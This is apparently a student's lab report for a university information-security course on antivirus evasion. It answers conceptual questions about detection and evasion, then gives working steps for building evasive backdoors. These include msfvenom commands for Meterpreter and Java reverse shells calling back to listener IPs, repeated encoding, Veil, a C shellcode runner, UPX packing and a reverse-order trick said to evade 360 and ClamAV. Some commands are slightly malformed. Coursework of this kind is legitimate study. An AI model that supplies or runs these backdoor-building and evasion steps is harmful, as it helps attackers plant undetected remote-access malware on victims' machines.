Exp3-免杀原理
任务详情
1. 实践内容(4分+1分附加分)
1.1 方法(分)
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件(1分),
- veil,加壳工具(1分),
- 使用C + shellcode编程(1分),
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分1)
2 报告内容(2分):
2.1.基础问题回答(1分)
(1)杀软是如何检测出恶意代码的?
(2)免杀是做什么?
(3)免杀的基本方法有哪些?
(4)开启杀软能绝对防止电脑中恶意代码吗?
2.2.实践总结与体会(1分)
2.3.实践过程记录
3.报告质量评分 2 分
3.1 报告整体观感 1分
3.1.1 报告格式范围,版面整洁 加1。
3.1.2 报告排版混乱,加0分。
3.2 文字表述 1 分
3.2.1报告文字内容全面,表述清晰准确 加1分。
3.2.2报告表述不清或文字有明显抄袭可能 加0
3.3 截图要求:
3.3.1 所有操作截图主机名为本人姓名拼音
3.3.2 所编辑的文件名包含自己的学号
如未按如上格式要求,则相应部分报告内容不记成绩
基础问题回答
- 杀软是如何检测出恶意代码的?
答:杀毒软件(简称“杀软”)检测恶意代码的方法主要包括但不限于以下几种:
1.特征码匹配:杀毒软件拥有庞大的病毒特征库,通过扫描文件或内存中的特定字符串或二进制模式来识别已知恶意软件。
2.启发式扫描:即使没有具体的特征码匹配,杀软也会检查文件的行为和结构,寻找可能表明恶意活动的指示,比如异常的入口点、自我复制机制、解密/加密行为、注入其他进程等。
3.行为监控:实时监控系统活动,如注册表修改、文件创建、网络连接等,并根据预定义的规则判断是否有恶意行为。
4.沙箱技术:在隔离环境中运行可疑文件,观察其动态行为,以确定是否对系统产生危害。
5.机器学习和人工智能:通过训练模型识别潜在的恶意模式,即使面对新型未知威胁也能有一定的预测和防护能力。 - 免杀是做什么?
答:免杀技术是指黑客或者恶意代码作者为了绕过杀毒软件的检测和查杀机制,对恶意代码进行改造或者伪装的过程。目的是让恶意代码能够成功在目标系统上运行而不被杀毒软件检测出来。 - 免杀的基本方法有哪些?
答:免杀的基本方法包括但不限于:
1.改变特征码:修改或混淆恶意代码的关键部分,使其不与杀毒软件的病毒库特征码匹配。
2.行为变异:改变恶意代码的执行逻辑或传播方式,使其在行为特征上难以被识别为恶意。
3.内存免杀:仅在内存中动态加载和执行恶意代码,避免静态扫描。
4.加壳:使用加壳工具对恶意代码进行封装,隐藏原始代码。
5.代码混淆:通过复杂化代码结构、插入无效代码、使用加密算法等方式增加逆向分析难度。
6.花指令:插入无实际功能但能干扰反汇编和理解的指令序列。
7.社会工程学:结合心理操纵手段,让用户自愿下载或执行恶意代码,而非直接突破技术防线。
8.利用漏洞:例如利用操作系统或应用软件的漏洞,绕过安全检测。
9.白加黑技术:将恶意代码与合法文件捆绑,利用合法文件的正常属性来逃避检测。 - 开启杀软能绝对防止电脑中恶意代码吗?
答:开启杀软并不能绝对防止电脑中恶意代码。尽管杀毒软件在防范已知威胁方面表现良好,但对于新型、未知的恶意代码,尤其是针对性强、采用先进免杀技术的恶意软件,可能会存在漏报或无法有效拦截的情况。此外,用户的安全意识、系统补丁更新及时性以及杀软自身的更新速度等因素也直接影响了杀软的防护效果。因此,保持系统和软件更新、提高安全意识、采取多层防御策略是非常重要的。
实验步骤
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.5.202 LPORT=1317 -f exe > backdoor_20211317_1.exe
- 编码10次,还是一样的检出率
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.187.132 LPORT=5310 -f exe > met-encoded.exe
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
检出率减少一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=172.30.5.202 LPORT=1317 -f exe > backdoor2.exe
- 生成.jar文件 百度啊腾讯啊都没检测出来病毒了
msfvenom -p java/shell_reverse_tcp LHOST=172.30.5.202 LPORT=1317 -f jar > backdoor_jar.jar
下载veil,显示Done即为下载成功
安装好后显示如下:
-
设置反弹连接IP,输入Kali的IP:set LHOST 【ip地址】
-
设置端口:set LPORT 1317,完成配置,可输入option查看当前配置
-
输入generate生成后门程序文件,并命名veil_1317,
-
检验可用性,通过率为48/72
C语言调用
先用msf生成一段C语言格式的shellcode数组,下面指令会生成一个c语言格式的Shellcode数组。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=1317 -f c
将上述代码编译成c文件
vim 20211317shellcode2.c int main() { int (*func)() = (int(*)())buf; func(); }
编译成可执行文件
i686-w64-mingw32-g++ 20211317shellcode2.c -o 20211317shellcode2.exe
- 检测恶意代码
加壳
输入如下指令进行加壳
upx 1317.exe -o 1317_upx.exe
检出率为34/72
通过组合应用各种技术实现恶意代码免杀
本实验我选择通过C+shellcode+逆序+压缩壳实现免杀,即在上一部分的基础上加上逆序和压缩壳。
- 首先与上一步相同,使用如下指令生成一段C语言格式的shellcode代码
- 将生成的shellcode加上如下代码段一起复制到Windows系统下的VScode中,保存、编译并运行,生成另一段shellcode(此处进行的是逆序变换,使生成的文件中shellcode逆序存在,更不容易被杀软发现)
- 回到Kali内,用touch与vim指令创建并编辑一个新文件,将刚刚在Windows下运行生成的那段代码粘贴到新文件内,并加上另一段如下所示代码段。编辑完毕后保存并退出。
- 同样地,使用i686-w64-mingw32-g++ lzt1317.c -o 1317.exe将文件编译生成可执行文件,再进行加壳
- 将加壳后生成的文件用360杀毒进行查杀,显示未发现安全威胁,将可执行文件上传至网站进行检测,也可以看到检测率大大降低,可以躲过大部分杀软。
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分1)
- 这里打开我的另一台Ubuntu虚拟机进行测试,安装的杀毒软件为ClamAV,版本就是最新版
- ClamAV (Clamscan) - 一个命令行的扫描工具,用于扫描病毒、恶意软件和恶意代码。
sudo apt-get install clamav clamav-daemon
- ClamAV (Clamscan) - 一个命令行的扫描工具,用于扫描病毒、恶意软件和恶意代码。
- ClamTk - ClamAV的图形界面前端。
sudo apt-get install clamtk
- 将加壳过后的文件传至虚拟机中,该文件在检测时成功逃过ClamAV的检测
- 点击扫描文件,进行扫描
成功运行,未发现威胁!
实验问题
主要就是装veil的时候会遇到各种报错,参考了相关博客进行解决。
https://blog.csdn.net/qq_53079406/article/details/126192511
因为我的kali是64位程序,而用的wine是32位的,所以需要先装32位的环境。
实验心得体会
作为一名信息安全专业的学生,这次免杀技术和杀软工作机制的实践体验确实让我获益匪浅,不仅加深了对免杀流程的理解,还意识到即使是最先进的杀毒软件也存在滞后性和应对新型恶意软件时的局限性。在日常的计算机操作中,我们必须始终保持警觉,不能仅仅因为安装了杀毒软件就盲目自信,而应该时刻注意监测和排查电脑中的可疑活动,以防恶意软件趁虚而入。
标签:1317,文件,exe,免杀,Exp3,恶意代码,20211317,shellcode From: https://www.cnblogs.com/lizhuotong/p/18113375